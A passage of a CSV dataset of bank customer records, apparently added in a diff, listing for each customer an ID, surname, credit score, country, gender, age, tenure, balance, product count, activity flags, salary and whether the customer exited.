+24,15725737,Mosman,669,France,Male,46,3,0,2,0,1,8487.75,0 +25,15625047,Yen,846,France,Female,38,5,0,1,1,1,187616.16,0 +26,15738191,Maclean,577,France,Male,25,3,0,2,0,1,124508.29,0 +27,15736816,Young,756,Germany,Male,36,2,136815.64,1,1,1,170041.95,0 +28,15700772,Nebechi,571,France,Male,44,9,0,2,0,0,38433.35,0 +29,15728693,McWilliams,574,Germany,Female,43,3,141349.43,1,1,1,100187.43,0 +30,15656300,Lucciano,411,France,Male,29,0,59697.17,2,1,1,53483.21,0 +31,15589475,Azikiwe,591,Spain,Female,39,3,0,3,1,0,140469.38,1 +32,15706552,Odinakachukwu,533,France,Male,36,7,85311.7,1,0,1,156731.91,0 +33,15750181,Sanderson,553,Germany,Male,41,9,110112.54,2,0,0,81898.81,0 +34,15659428,Maggard,520,Spain,Female,42,6,0,2,1,1,34410.55,0 +35,15732963,Clements,722,Spain,Female,29,9,0,2,1,1,142033.07,0 +36,15794171,Lombardo,475,France,Female,45,0,134264.04,1,1,0,27822.99,1 +37,15788448,Watson,490,Spain,Male,31,3,145260.23,1,0,1,114066.77,0 +38,15729599,Lorenzo,804,Spain,Male,33,7,76548.6,1,0,1,98453.45,0 +39,15717426,Armstrong,850,France,Male,36,7,0,1,1,1,40812.9,0 +40,15585768,Cameron,582,Germany,Male,41,6,70349.48,2,0,1,178074.04,0 +41,15619360,Hsiao,472,Spain,Male,40,4,0,1,1,0,70154.22,0 +42,15738148,Clarke,465,France,Female,51,8,122522.32,1,0,0,181297.65,1 +43,15687946,Osborne,556,France,Female,61,2,117419.35,1,1,1,94153.83,0 +44,15755196,Lavine,834,France,Female,49,2,131394.56,1,0,0,194365.76,1 +45,15684171,Bianchi,660,Spain,Female,61,5,155931.11,1,1,1,158338.39,0 +46,15754849,Tyler,776,Germany,Female,32,4,109421.13,2,1,1,126517.46,0 +47,15602280,Martin,829,Germany,Female,27,9,112045.67,1,1,1,119708.21,1 +48,15771573,Okagbue,637,Germany,Female,39,9,137843.8,1,1,1,117622.8,1 +49,15766205,Yin,550,Germany,Male,38,2,103391.38,1,0,1,90878.13,0 +50,15771873,Buccho,776,Germany,Female,37,2,103769.22,2,1,0,194099.12,0 +51,15616550,Chidiebele,698,Germany,Male,44,10,116363.37,2,1,0,198059.16,0 +52,15768193,Trevisani,585,Germany,Male,36,5,146050.97,2,0,0,86424.57,0 +53,15683553,O'Brien,788,France,Female,33,5,0,2,0,0,116978.19,0 +54,15702298,Parkhill,655,Germany,Male,41,8,125561.97,1,0,0,164040.94,1 +55,15569590,Yoo,601,Germany,Male,42,1,98495.72,1,1,0,40014.76,1 +56,15760861,Phillipps,619,France,Male,43,1,125211.92,1,1,1,113410.49,0 +57,15630053,Tsao,656,France,Male,45,5,127864.4,1,1,0,87107.57,0 +58,15647091,Endrizzi,725,Germany,Male,19,0,75888.2,1,0,0,45613.75,0 +59,15623944,T'ien,511,Spain,Female,66,4,0,1,1,0,1643.11,1 +60,15804771,Velazquez,614,France,Male,51,4,40685.92,1,1,1,46775.28,0 +61,15651280,Hunter,742,Germany,Male,35,5,136857,1,0,0,84509.57,0 +62,15773469,Clark,687,Germany,Female,27,9,152328.88,2,0,0,126494.82,0 +63,15702014,Jeffrey,555,Spain,Male,33,1,56084.69,2,0,0,178798.13,0 +64,15751208,Pirozzi,684,Spain,Male,56,8,78707.16,1,1,1,99398.36,0 +65,15592461,Jackson,603,Germany,Male,26,4,109166.37,1,1,1,92840.67,0 +66,15789484,Hammond,751,Germany,Female,36,6,169831.46,2,1,1,27758.36,0 +67,15696061,Brownless,581,Germany,Female,34,1,101633.04,1,1,0,110431.51,0 +68,15641582,Chibugo,735,Germany,Male,43,10,123180.01,2,1,1,196673.28,0 +69,15638424,Glauert,661,Germany,Female,35,5,150725.53,2,0,1,113656.85,0 +70,15755648,Pisano,675,France,Female,21,8,98373.26,1,1,0,18203,0 +71,15703793,Konovalova,738,Germany,Male,58,2,133745.44,4,1,0,28373.86,1 +72,15620344,McKee,813,France,Male,29,6,0,1,1,0,33953.87,0 +73,15812518,Palermo,657,Spain,Female,37,0,163607.18,1,0,1,44203.55,0 +74,15779052,Ballard,604,Germany,Female,25,5,157780.84,2,1,1,58426.81,0 +75,15770811,Wallace,519,France,Male,36,9,0,2,0,1,145562.4,0 +76,15780961,Cavenagh,735,France,Female,21,1,178718.19,2,1,0,22388,0 +77,15614049,Hu,664,France,Male,55,8,0,2,1,1,139161.64,0 +78,15662085,Read,678,France,Female,32,9,0,1,1,1,148210.64,0 +79,15575185,Bushell,757,Spain,Male,33,5,77253.22,1,0,1,194239.63,0 +80,15803136,Postle,416,Germany,Female,41,10,122189.66,2,1,0,98301.61,0 +81,15706021,Buley,665,France,Female,34,1,96645.54,2,0,0,171413.66,0 +82,15663706,Leonard,777,France,Female,32,2,0,1,1,0,136458.19,1 +83,15641732,Mills,543,France,Female,36,3,0,2,0,0,26019.59,0 +84,15701164,Onyeorulu,506,France,Female,34,4,90307.62,1,1,1,159235.29,0 +85,15738751,Beit,493,France,Female,46,4,0,2,1,0,1907.66,0 +86,15805254,Ndukaku,652,Spain,Female,75,10,0,2,1,1,114675.75,0 +87,15762418,Gant,750,Spain,Male,22,3,121681.82,1,1,0,128643.35,1 +88,15625759,Rowley,729,France,Male,30,9,0,2,1,0,151869.35,0 +89,15622897,Sharpe,646,France,Female,46,4,0,3,1,0,93251.42,1 +90,15767954,Osborne,635,Germany,Female,28,3,81623.67,2,1,1,156791.36,0 +91,15757535,Heap,647,Spain,Female,44,5,0,3,1,1,174205.22,1 +92,15731511,Ritchie,808,France,Male,45,7,118626.55,2,1,0,147132.46,0 +93,15809248,Cole,524,France,Female,36,10,0,2,1,0,109614.57,0 +94,15640635,Capon,769,France,Male,29,8,0,2,1,1,172290.61,0 +95,15676966,Capon,730,Spain,Male,42,4,0,2,0,1,85982.47,0 +96,15699461,Fiorentini,515,Spain,Male,35,10,176273.95,1,0,1,121277.78,0 +97,15738721,Graham,773,Spain,Male,41,9,102827.44,1,0,1,64595.25,0 +98,15693683,Yuille,814,Germany,Male,29,8,97086.4,2,1,1,197276.13,0 +99,15604348,Allard,710,Spain,Male,22,8,0,2,0,0,99645.04,0 +100,15633059,Fanucci,413,France,Male,34,9,0,2,0,0,6534.18,0 +101,15808582,Fu,665,France,Female,40,6,0,1,1,1,161848.03,0 +102,15743192,Hung,623,France,Female,44,6,0,2,0,0,167162.43,0 +103,15580146,Hung,738,France,Male,31,9,82674.15,1,1,0,41970.72,0 +104,15776605,Bradley,528,Spain,Male,36,7,0,2,1,0,60536.56,0 +105,15804919,Dunbabin,670,Spain,Female,65,1,0,1,1,1,177655.68,1 +106,15613854,Mauldon,622,Spain,Female,46,4,107073.27,2,1,1,30984.59,1 +107,15599195,Stiger,582,Germany,Male,32,1,88938.62,1,1,1,10054.53,0 +108,15812878,Parsons,785,Germany,Female,36,2,99806.85,1,0,1,36976.52,0 +109,15602312,Walkom,605,Spain,Male,33,5,150092.8,1,0,0,71862.79,0 +110,15744689,T'ang,479,Germany,Male,35,9,92833.89,1,1,0,99449.86,1 +111,15803526,Eremenko,685,Germany,Male,30,3,90536.81,1,0,1,63082.88,0 +112,15665790,Rowntree,538,Germany,Male,39,7,108055.1,2,1,0,27231.26,0 +113,15715951,Thorpe,562,France,Male,42,2,100238.35,1,0,0,86797.41,0 +114,15591100,Chiemela,675,Spain,Male,36,9,106190.55,1,0,1,22994.32,0 +115,15609618,Fanucci,721,Germany,Male,28,9,154475.54,2,0,1,101300.94,1 +116,15675522,Ko,628,Germany,Female,30,9,132351.29,2,1,1,74169.13,0 +117,15705512,Welch,668,Germany,Female,37,6,167864.4,1,1,0,115638.29,0 +118,15698028,Duncan,506,France,Female,41,1,0,2,1,0,31766.3,0 +119,15661670,Chidozie,524,Germany,Female,31,8,107818.63,1,1,0,199725.39,1 +120,15600781,Wu,699,Germany,Male,34,4,185173.81,2,1,0,120834.48,0 +121,15682472,Culbreth,828,France,Male,34,8,129433.34,2,0,0,38131.77,0 +122,15580203,Kennedy,674,Spain,Male,39,6,120193.42,1,0,0,100130.95,0 +123,15690673,Cameron,656,France,Female,39,6,0,2,1,0,141069.88,0 +124,15760085,Calabresi,684,Germany,Female,48,10,126384.42,1,1,1,198129.36,0 +125,15779659,Zetticci,625,France,Female,28,3,0,1,0,0,183646.41,0 +126,15627360,Fuller,432,France,Male,42,9,152603.45,1,1,0,110265.24,1 +127,15671137,MacDonald,549,France,Female,52,1,0,1,0,1,8636.05,1 +128,15782688,Piccio,625,Germany,Male,56,0,148507.24,1,1,0,46824.08,1 +129,15575492,Kennedy,828,France,Female,41,7,0,2,1,0,171378.77,0 +130,15591607,Fernie,770,France,Male,24,9,101827.07,1,1,0,167256.35,0 +131,15740404,He,758,France,Female,34,3,0,2,1,1,124226.16,0 +132,15718369,Kaodilinakachukwu,795,Germany,Female,33,9,130862.43,1,1,1,114935.21,0 +133,15677871,Cocci,687,France,Male,38,9,122570.87,1,1,1,35608.88,0 +134,15642004,Alekseeva,686,France,Male,25,1,0,2,0,1,16459.37,0 +135,15712543,Chinweike,789,Germany,Male,39,7,124828.46,2,1,1,124411.08,0 +136,15584518,Arthur,589,Germany,Female,50,5,144895.05,2,1,1,34941.23,0 +137,15802381,Li,461,Germany,Female,34,5,63663.93,1,0,1,167784.28,0 +138,15610156,Ma,637,France,Male,40,2,133463.1,1,0,1,93165.34,0 +139,15594408,Chia,584,Spain,Female,48,2,213146.2,1,1,0,75161.25,1 +140,15640905,Vasin,579,Spain,Female,35,1,129490.36,2,0,1,8590.83,1 +141,15698932,Groves,756,Germany,Male,44,10,137452.09,1,1,0,189543.9,0 +142,15724944,Tien,663,France,Male,34,7,0,2,1,1,180427.24,0 +143,15628145,Forwood,682,France,Female,43,5,125851.93,1,1,1,193318.33,0 +144,15713483,Greeves,793,Spain,Male,52,2,0,1,1,0,159123.82,1 +145,15612350,Taylor,691,France,Female,31,5,40915.55,1,1,0,126213.84,1 +146,15800703,Madukwe,485,Spain,Female,21,5,113157.22,1,1,1,54141.5,0 +147,15705707,Bennelong,635,Spain,Female,29,8,138296.94,2,1,0,141075.51,0 +148,15754105,Olisanugo,650,France,Male,37,5,106967.18,1,0,0,24495.03,0 +149,15703264,Chukwufumnanya,735,France,Male,44,9,120681.63,1,1,0,74836.34,0 +150,15794413,Harris,416,France,Male,32,0,0,2,0,1,878.87,0 +151,15650237,Morgan,754,Spain,Female,32,7,0,2,1,0,89520.75,0 +152,15759618,Alexeeva,535,France,Female,48,9,0,1,1,0,149892.79,1 +153,15811589,Metcalfe,716,Spain,Male,42,8,0,2,1,0,180800.42,0 +154,15689044,Humphries,539,France,Male,37,2,127609.59,1,1,0,98646.22,0 +155,15709368,Milne,614,France,Female,43,6,0,2,1,1,109041.53,0 +156,15679145,Chou,706,Spain,Male,57,7,0,1,1,0,17941.16,1 +157,15655007,Li,758,France,Female,33,7,0,2,0,0,82996.47,0 +158,15623595,Clayton,586,Spain,Female,28,2,0,2,1,1,92067.35,0 +159,15589975,Maclean,646,France,Female,73,6,97259.25,1,0,1,104719.66,0 +160,15804017,Chigolum,631,Germany,Female,33,4,123246.7,1,0,0,112687.57,0 +161,15692132,Wilkinson,717,Spain,Female,22,6,101060.25,1,0,1,84699.56,0 +162,15641122,Wei,684,France,Male,30,2,0,2,1,0,83473.82,0 +163,15630910,Treacy,800,France,Female,49,7,108007.36,1,0,0,47125.11,0 +164,15680772,Hu,721,Spain,Female,36,2,0,2,1,1,106977.8,0 +165,15658929,Taverner,683,Spain,Male,29,0,133702.89,1,1,0,55582.54,1 +166,15585388,Sherman,660,Germany,Male,31,9,125189.75,2,1,1,139874.43,0 +167,15724623,Taubman,704,Germany,Female,24,7,113034.22,1,1,0,162503.48,1 +168,15588537,Robinson,615,Spain,Female,41,9,109013.23,1,1,0,196499.96,0 +169,15574692,Pinto,667,Spain,Female,39,2,0,2,1,0,40721.24,1 +170,15611325,Wood,682,Germany,Male,24,9,57929.81,2,0,0,53134.3,0 +171,15587562,Hawkins,484,France,Female,29,4,130114.39,1,1,0,164017.89,0 +172,15613172,Sun,628,Germany,Male,27,5,95826.49,2,1,0,155996.96,0 +173,15651022,Yost,480,Germany,Male,44,10,129608.57,1,1,0,5472.7,1 +174,15586310,Ting,578,France,Male,30,4,169462.09,1,1,0,112187.11,0 +175,15625524,Rowe,512,France,Male,40,5,0,2,1,1,146457.83,0 +176,15755209,Fu,484,Spain,Female,35,7,133868.21,1,1,1,27286.1,0 +177,15645248,Ho,510,France,Female,30,0,0,2,1,1,130553.47,0 +178,15790355,Okechukwu,606,Germany,Male,36,5,190479.48,2,0,0,179351.89,0 +179,15762615,Campbell,597,Spain,Female,40,8,101993.12,1,0,1,94774.12,0 +180,15625426,Ashbolt,754,Germany,Female,55,3,161608.81,1,1,0,8080.85,1 +181,15716334,Rozier,850,Spain,Female,45,2,122311.21,1,1,1,19482.5,0 +182,15789669,Hsia,510,France,Male,65,2,0,2,1,1,48071.61,0 +183,15621075,Ogbonnaya,778,Germany,Female,45,1,162150.42,2,1,0,174531.27,0 +184,15810845,T'ang,636,France,Male,42,2,0,2,1,1,55470.78,0 +185,15719377,Cocci,804,France,Female,50,4,0,1,1,1,8546.87,1 +186,15654506,Chang,514,France,Male,32,8,0,2,1,0,95857.18,0 +187,15771977,T'ao,730,France,Female,39,1,99010.67,1,1,0,194945.8,0 +188,15708710,Ford,525,Spain,Female,37,0,0,1,0,1,131521.72,0 +189,15726676,Marshall,616,Spain,Male,30,5,0,2,0,1,196108.51,0 +190,15587421,Tsai,687,Germany,Female,34,7,111388.18,2,1,0,148564.76,0 +191,15726931,Onwumelu,715,France,Female,41,8,56214.85,2,0,0,92982.61,1 +192,15771086,Graham,512,France,Female,36,3,84327.77,2,1,0,17675.36,0 +193,15756850,Golovanov,479,France,Male,40,1,0,2,0,0,114996.43,0 +194,15702741,Potts,601,France,Male,32,8,93012.89,1,1,0,86957.42,0 +195,15679200,Crawford,580,Spain,Male,29,9,61710.44,2,1,0,128077.8,0 +196,15594815,Aleshire,807,France,Male,35,3,174790.15,1,1,1,600.36,0 +197,15635905,Moran,616,Spain,Female,32,6,0,2,1,1,43001.46,0 +198,15777892,Samsonova,721,Germany,Male,37,3,107720.64,1,1,1,158591.12,0 +199,15656176,Jenkins,501,France,Male,57,10,0,2,1,1,47847.19,0 +200,15811127,Volkov,521,France,Male,35,6,96423.84,1,1,0,10488.44,0 +201,15604482,Chiemezie,850,Spain,Male,30,2,141040.01,1,1,1,5978.2,0 +202,15622911,Jude,759,France,Male,42,4,105420.18,1,0,1,121409.06,0 +203,15600974,He,516,Spain,Male,50,5,0,1,0,1,146145.93,1 +204,15727868,Onuora,711,France,Female,38,2,129022.06,2,1,1,14374.86,1 +205,15627801,Ginikanwa,512,Spain,Male,33,3,176666.62,1,1,0,94670.77,0 +206,15773039,Ku,550,France,Male,37,3,0,1,1,1,179670.31,0 +207,15755262,McDonald,608,Spain,Female,41,3,89763.84,1,0,0,199304.74,1 +208,15679531,Collins,618,France,Male,34,5,134954.53,1,1,1,151954.39,0 +209,15684181,Hackett,643,France,Male,45,5,0,1,1,0,142513.5,1 +210,15612087,Dike,671,France,Male,45,2,106376.85,1,0,1,158264.62,0 +211,15752047,Trevisano,689,Germany,Male,33,2,161814.64,2,1,0,169381.9,0 +212,15624592,Tan,603,France,Male,31,8,0,2,1,1,169915.02,0 +213,15573152,Glassman,620,France,Female,41,9,0,2,0,0,88852.47,0 +214,15594917,Miller,676,France,Female,34,1,63095.01,1,1,1,40645.81,0 +215,15785542,Kornilova,572,Germany,Male,26,4,118287.01,2,0,0,60427.3,0 +216,15723488,Watson,668,Germany,Male,47,7,106854.21,1,0,1,157959.02,1 +217,15680920,Marchesi,695,France,Male,46,7,49512.55,1,1,0,133007.34,0 +218,15786308,Millar,730,Spain,Female,33,9,0,2,0,0,176576.62,0 +219,15659366,Shih,807,France,Male,43,1,105799.32,2,1,0,34888.04,1 +220,15774854,Fuller,592,France,Male,54,8,0,1,1,1,28737.71,1 +221,15725311,Hay,726,France,Female,31,9,114722.05,2,1,1,98178.57,0 +222,15787155,Yang,514,Spain,Male,30,7,0,1,0,1,125010.24,0 +223,15727829,McIntyre,567,France,Male,42,2,0,2,1,1,167984.61,0 +224,15733247,Stevenson,850,France,Male,33,10,0,1,1,0,4861.72,1 +225,15568748,Poole,671,Germany,Male,45,6,99564.22,1,1,1,108872.45,1 +226,15699029,Bagley,670,France,Male,37,4,170557.91,2,1,0,198252.88,0 +227,15774393,Ch'ien,694,France,Female,30,9,0,2,1,1,26960.31,0 +228,15676895,Cattaneo,547,Germany,Female,39,6,74596.15,3,1,1,85746.52,1 +229,15637753,O'Sullivan,751,Germany,Male,50,2,96888.39,1,1,0,77206.25,1 +230,15605461,Lucas,594,Germany,Female,29,3,130830.22,1,1,0,61048.53,0 +231,15808473,Ringrose,673,France,Male,72,1,0,2,0,1,111981.19,0 +232,15627000,Freeman,610,France,Male,40,0,0,2,1,0,62232.6,0 +233,15787174,Sergeyev,512,France,Female,37,1,0,2,0,1,156105.03,0 +234,15723886,Fiore,767,Germany,Male,20,3,119714.25,2,0,1,150135.38,0 +235,15704769,Smith,585,France,Female,67,5,113978.97,2,0,1,93146.11,0 +236,15772896,Dumetochukwu,763,Germany,Male,42,6,100160.75,1,1,0,33462.94,1 +237,15711540,Pacheco,712,France,Female,29,2,0,1,1,1,144375,0 +238,15764866,Synnot,539,Germany,Female,43,3,116220.5,3,1,0,55803.96,1 +239,15794056,Johnston,668,France,Female,46,2,0,3,1,0,89048.46,1 +240,15795149,Stevens,703,France,Male,28,2,81173.83,2,0,1,162812.16,0 +241,15812009,Grant,662,Spain,Male,38,4,0,2,1,0,136259.65,0 +242,15651001,Tsao,725,Germany,Female,39,5,116803.8,1,1,0,124052.97,0 +243,15813844,Barnes,703,France,Male,37,8,105961.68,2,0,1,74158.8,0 +244,15596175,McIntosh,659,Germany,Male,67,6,117411.6,1,1,1,45071.09,1 +245,15576269,Madison,523,Spain,Male,34,7,0,2,1,0,62030.06,0 +246,15797219,Ifesinachi,635,France,Female,40,10,123497.58,1,1,0,131953.23,1 +247,15685500,Glazkov,772,Germany,Male,26,7,152400.51,2,1,0,79414,0 +248,15599792,Dimauro,545,France,Female,26,1,0,2,1,1,199638.56,0 +249,15657566,Wieck,634,Germany,Male,24,8,103097.85,1,1,1,157577.29,0 +250,15772423,Liao,739,Germany,Male,54,8,126418.14,1,1,0,134420.75,1 +251,15628112,Hughes,771,Germany,Female,36,5,77846.9,1,0,0,99805.99,0 +252,15753754,Morrison,587,Spain,Female,34,1,0,2,1,1,97932.68,0 +253,15793726,Matveyeva,681,France,Female,79,0,0,2,0,1,170968.99,0 +254,15694717,Ku,544,Germany,Male,37,2,79731.91,1,1,1,57558.95,0 +255,15665834,Cheatham,696,Spain,Male,28,8,0,1,0,0,176713.47,0 +256,15765297,Yao,766,Spain,Male,41,0,0,2,0,1,34283.23,0 +257,15636684,Kirkland,727,France,Male,34,10,0,2,1,1,198637.34,0 +258,15592979,Rose,671,Germany,Female,34,6,37266.67,2,0,0,156917.12,0 +259,15750803,Jess,693,France,Female,30,6,127992.25,1,1,1,50457.2,0 +260,15607178,Welch,850,Germany,Male,38,3,54901.01,1,1,1,140075.55,0 +261,15713853,Ifeajuna,732,Germany,Male,42,9,108748.08,2,1,1,65323.11,0 +262,15673481,Morton,726,Spain,Female,48,6,99906.19,1,1,0,64323.24,0 +263,15686776,Rossi,557,France,Female,32,6,184686.41,2,1,0,14956.44,0 +264,15673693,Reppert,682,France,Female,26,0,110654.02,1,0,1,111879.21,0 +265,15700696,Kang,738,Spain,Male,31,9,79019.8,1,1,1,18606.23,0 +266,15813163,Ch'iu,531,Spain,Female,36,9,99240.51,1,1,0,123137.01,0 +267,15653857,Wallis,498,France,Male,34,2,0,2,1,1,148528.24,0 +268,15777076,Clark,651,France,Male,36,7,0,2,1,0,13898.31,0 +269,15717398,Fielding,549,Spain,Female,39,7,0,1,0,0,81259.25,1 +270,15799217,Zetticci,791,Germany,Female,35,7,52436.2,1,1,0,161051.75,0 +271,15787071,Dulhunty,650,Spain,Male,41,9,0,2,0,1,191599.67,0 +272,15619955,Bevington,733,Germany,Male,34,3,100337.96,3,1,0,48559.19,1 +273,15796505,Boyle,811,Germany,Female,34,1,149297.19,2,1,1,186339.74,0 +274,15725166,Newton,707,France,Male,30,8,0,2,1,0,33159.37,0 +275,15800116,Bowman,712,Germany,Male,28,4,145605.44,1,0,1,93883.53,0 +276,15758685,Dubinina,706,Spain,Female,37,7,0,2,1,1,110899.3,0 +277,15694456,Toscani,756,France,Male,62,3,0,1,1,1,11199.04,1 +278,15767339,Chiazagomekpere,777,France,Female,53,10,0,2,1,0,189992.97,0 +279,15683562,Allen,646,France,Male,35,6,84026.86,1,0,1,164255.69,0 +280,15782210,K'ung,714,France,Male,46,1,0,1,1,0,152167.79,1 +281,15668893,Wilsmore,782,France,Male,39,8,0,2,1,1,33949.67,0 +282,15669169,Hargreaves,775,Spain,Male,29,10,0,2,1,1,68143.93,0 +283,15643024,Huang,479,Germany,Male,35,4,138718.92,1,1,1,47251.79,1 +284,15699389,Ch'ien,807,France,Male,42,7,118274.71,1,1,1,25885.72,0 +285,15708608,Wallwork,799,France,Female,22,8,174185.98,2,0,1,192633.85,0 +286,15626144,Chu,675,France,Male,40,7,113208.86,2,1,0,34577.36,0 +287,15573112,Kang,602,Spain,Male,29,5,103907.28,1,1,0,161229.84,0 +288,15790678,Davidson,475,France,Female,32,8,119023.28,1,1,0,100816.29,0 +289,15727556,O'Donnell,744,Spain,Female,26,5,166297.89,1,1,1,181694.44,0 +290,15697307,Nnachetam,588,Spain,Male,34,10,0,2,1,0,79078.91,0 +291,15652266,Chidiebele,703,Germany,Male,42,9,63227,1,0,1,137316.32,0 +292,15607098,Ahmed,747,Spain,Female,41,5,94521.17,2,1,0,194926.86,0 +293,15655774,Booth,583,France,Male,27,7,0,2,1,0,51285.49,0 +294,15590241,Chuang,750,Spain,Female,34,9,112822.26,1,0,0,150401.53,1 +295,15785819,Shao,681,France,Male,38,3,0,2,1,1,112491.96,0 +296,15723654,Tsao,773,France,Male,25,2,135903.33,1,1,0,73656.38,0 +297,15774510,Tien,714,France,Female,31,4,125169.26,1,1,1,106636.89,0 +298,15684173,Chang,687,Spain,Female,44,7,0,3,1,0,155853.52,1 +299,15650068,Johnson,511,France,Male,58,0,149117.31,1,1,1,162599.51,0 +300,15811490,French,627,France,Male,33,5,0,2,1,1,103737.82,0 +301,15803976,Efremov,694,France,Female,31,10,0,2,1,0,160990.27,0 +302,15682541,Hartley,616,Spain,Female,36,6,132311.71,1,0,0,15462.84,0 +303,15695699,Calabrese,687,France,Male,35,8,0,2,1,0,10334.05,0 +304,15624188,Chiu,712,France,Female,33,6,0,2,1,1,190686.16,0 +305,15812191,Brennan,553,France,Male,33,4,118082.89,1,0,0,94440.45,0 +306,15636673,Onwuatuegwu,667,France,Male,31,1,119266.69,1,1,1,28257.63,0 +307,15594898,Hewitt,731,France,Male,43,2,0,1,1,1,170034.95,1 +308,15660211,Shih,629,Germany,Male,35,7,156847.29,2,1,0,31824.29,0 +309,15773972,Balashov,614,France,Male,50,4,137104.47,1,1,0,127166.49,1 +310,15746726,Doyle,438,Germany,Male,31,8,78398.69,1,1,0,44937.01,0 +311,15712287,Pokrovskii,652,France,Female,80,4,0,2,1,1,188603.07,0 +312,15702919,Collins,729,Germany,Male,30,6,63669.42,1,1,0,145111.37,0 +313,15674398,Russo,642,France,Male,38,3,0,2,0,0,171463.83,0 +314,15797960,Skinner,806,Germany,Female,59,0,135296.33,1,1,0,182822.5,0 +315,15631868,Robertson,744,Spain,Male,36,2,153804.44,1,1,1,87213.33,0 +316,15581539,Atkinson,474,Spain,Male,37,3,0,2,0,0,57175.32,0 +317,15662736,Doyle,559,France,Male,49,2,147069.78,1,1,0,120540.83,1 +318,15666252,Ritchie,706,Spain,Male,42,9,0,2,1,1,28714.34,0 +319,15677512,McEncroe,628,Spain,Female,22,3,0,1,1,0,85426.28,0 +320,15626114,Pearson,429,France,Male,24,4,95741.75,1,1,0,46170.75,0 +321,15810834,Gordon,525,Spain,Female,57,2,145965.33,1,1,1,64448.36,0 +322,15678910,Ts'ai,680,France,Female,30,8,141441.75,1,1,1,16278.97,0 +323,15694408,Lung,749,France,Male,40,1,139290.41,1,1,0,182855.42,1 +324,15585215,Yuan,763,France,Female,31,4,0,2,0,0,50404.72,0 +325,15682757,Pardey,734,France,Male,30,3,0,2,1,0,107640.25,0 +326,15736601,Tai,716,France,Male,35,4,144428.87,1,1,0,134132.65,0 +327,15601848,Scott,594,France,Male,35,2,0,2,1,0,103480.69,0 +328,15736008,Hunter,644,France,Female,46,9,95441.27,1,1,0,108761.05,1 +329,15669064,Mazzanti,671,Germany,Male,35,1,144848.74,1,1,1,179012.3,0 +330,15624528,L?,664,Germany,Male,26,7,116244.14,2,1,1,95145.14,0 +331,15598493,Beach,656,France,Male,50,7,0,2,0,1,72143.44,0 +332,15601274,Hsieh,667,Spain,Female,40,1,146502.07,1,1,0,19162.89,0 +333,15702669,Faulkner,663,Germany,Male,44,2,117028.6,2,0,1,144680.18,0 +334,15728669,Knowles,584,Germany,Female,30,8,112013.81,1,1,0,177772.03,1 +335,15742668,Day,626,Spain,Female,37,6,108269.37,1,1,0,5597.94,0 +336,15697441,Hsueh,485,France,Male,29,7,182123.79,1,1,0,116828.51,1 +337,15740476,Tsao,659,Germany,Female,32,3,150923.74,2,0,1,174652.51,0 +338,15648064,Kennedy,649,France,Male,33,2,0,2,1,0,2010.98,0 +339,15636624,Nwabugwu,805,Spain,Female,39,5,165272.13,1,1,0,14109.85,1 +340,15807923,Young,716,Germany,Female,39,10,115301.31,1,1,0,43527.4,1 +341,15745844,Kerr,642,Germany,Female,40,6,129502.49,2,0,1,86099.23,1 +342,15786170,Tien,659,France,Male,31,4,118342.26,1,0,0,161574.19,0 +343,15681081,Marrero,545,Spain,Female,47,5,0,2,1,1,38970.14,0 +344,15684484,White,543,France,Male,22,8,0,2,0,0,127587.22,0 +345,15785869,Pisano,718,France,Female,25,7,0,2,1,0,30380.12,0 +346,15763859,Brown,840,France,Female,43,7,0,2,1,0,90908.95,0 +347,15658935,Freeman,630,Germany,Female,34,9,106937.05,2,1,0,138275.01,0 +348,15747358,Russell,643,Germany,Male,59,3,170331.37,1,1,1,32171.79,0 +349,15735203,Seleznyov,654,Germany,Female,32,1,114510.85,1,1,1,126143.23,0 +350,15576256,Yusupova,582,France,Male,39,5,0,2,1,1,129892.93,0 +351,15659420,Foley,659,Spain,Male,32,3,107594.11,2,1,1,102416.84,0 +352,15593365,Shih,762,Spain,Male,39,2,81273.13,1,1,1,18719.67,0 +353,15777352,Ikedinachukwu,568,Spain,Female,32,7,169399.6,1,1,0,61936.22,0 +354,15812007,Power,670,Spain,Male,25,6,0,2,1,1,78358.94,0 +355,15625461,Amos,613,France,Female,45,1,187841.99,2,1,1,147224.27,0 +356,15739438,Reed,539,France,Male,30,0,0,2,1,0,160979.66,0 +357,15611759,Simmons,850,Spain,Female,57,8,126776.3,2,1,1,132298.49,0 +358,15661629,Ricci,522,Spain,Male,34,9,126436.29,1,1,0,174248.52,1 +359,15633950,Yen,737,France,Male,41,1,101960.74,1,1,1,123547.28,0 +360,15592386,Campbell,520,France,Male,58,3,0,2,0,1,32790.02,0 +361,15803716,West,706,Spain,Male,28,3,0,2,0,1,181543.67,0 +362,15696674,Robinson,643,Germany,Female,45,2,150842.93,1,0,1,2319.96,1 +363,15706365,Bianchi,648,France,Female,50,9,102535.57,1,1,1,189543.19,0 +364,15745088,Chen,443,Germany,Female,29,9,99027.61,2,1,0,10940.4,0 +365,15676715,Madukaego,640,France,Male,68,9,0,2,1,1,199493.38,0 +366,15613085,Ibrahimova,628,Spain,Female,33,3,0,1,1,1,188193.25,0 +367,15633537,Nolan,540,Germany,Female,42,9,87271.41,2,1,0,172572.64,0 +368,15594720,Scott,460,Germany,Female,35,8,102742.91,2,1,1,189339.6,0 +369,15684042,Blair,636,Germany,Male,34,2,40105.51,2,0,1,53512.16,0 +370,15583303,Monaldo,593,France,Female,29,2,152265.43,1,1,0,34004.44,0 +371,15611579,Sutherland,801,Spain,Male,42,4,141947.67,1,1,1,10598.29,0 +372,15774696,Cole,640,Germany,Female,75,1,106307.91,2,0,1,113428.77,0 +373,15694506,Briggs,611,Germany,Male,31,0,107884.81,2,1,1,183487.98,0 +374,15688074,Gregory,802,Germany,Male,31,1,125013.72,1,1,1,187658.09,0 +375,15759537,Bianchi,717,Germany,Male,35,7,58469.37,2,1,1,172459.39,0 +376,15758449,Angelo,769,France,Female,39,8,0,1,0,1,21016,0 +377,15583456,Gardiner,745,Germany,Male,45,10,117231.63,3,1,1,122381.02,1 +378,15667871,Kerr,572,Spain,Male,35,4,152390.26,1,1,0,128123.66,0 +379,15677371,Ko,629,Spain,Female,30,2,34013.63,1,1,0,19570.63,0 +380,15629677,Distefano,687,Spain,Female,39,2,0,3,0,0,188150.6,1 +381,15713578,Farrell,483,France,Female,50,9,0,2,1,1,111020.24,0 +382,15591509,Milano,690,France,Male,36,7,101583.11,2,1,0,123775.15,0 +383,15568240,Ting,492,Germany,Female,30,10,77168.87,2,0,1,146700.22,0 +384,15622993,Boyd,709,Germany,Male,28,8,124695.72,2,1,0,145251.35,0 +385,15689294,Onyemaechi,705,Germany,Male,44,3,105934.96,1,1,0,82463.69,0 +386,15720910,Black,560,France,Female,66,9,0,1,1,1,15928.49,0 +387,15721181,Oliver,611,Spain,Male,46,6,0,2,1,0,45886.33,0 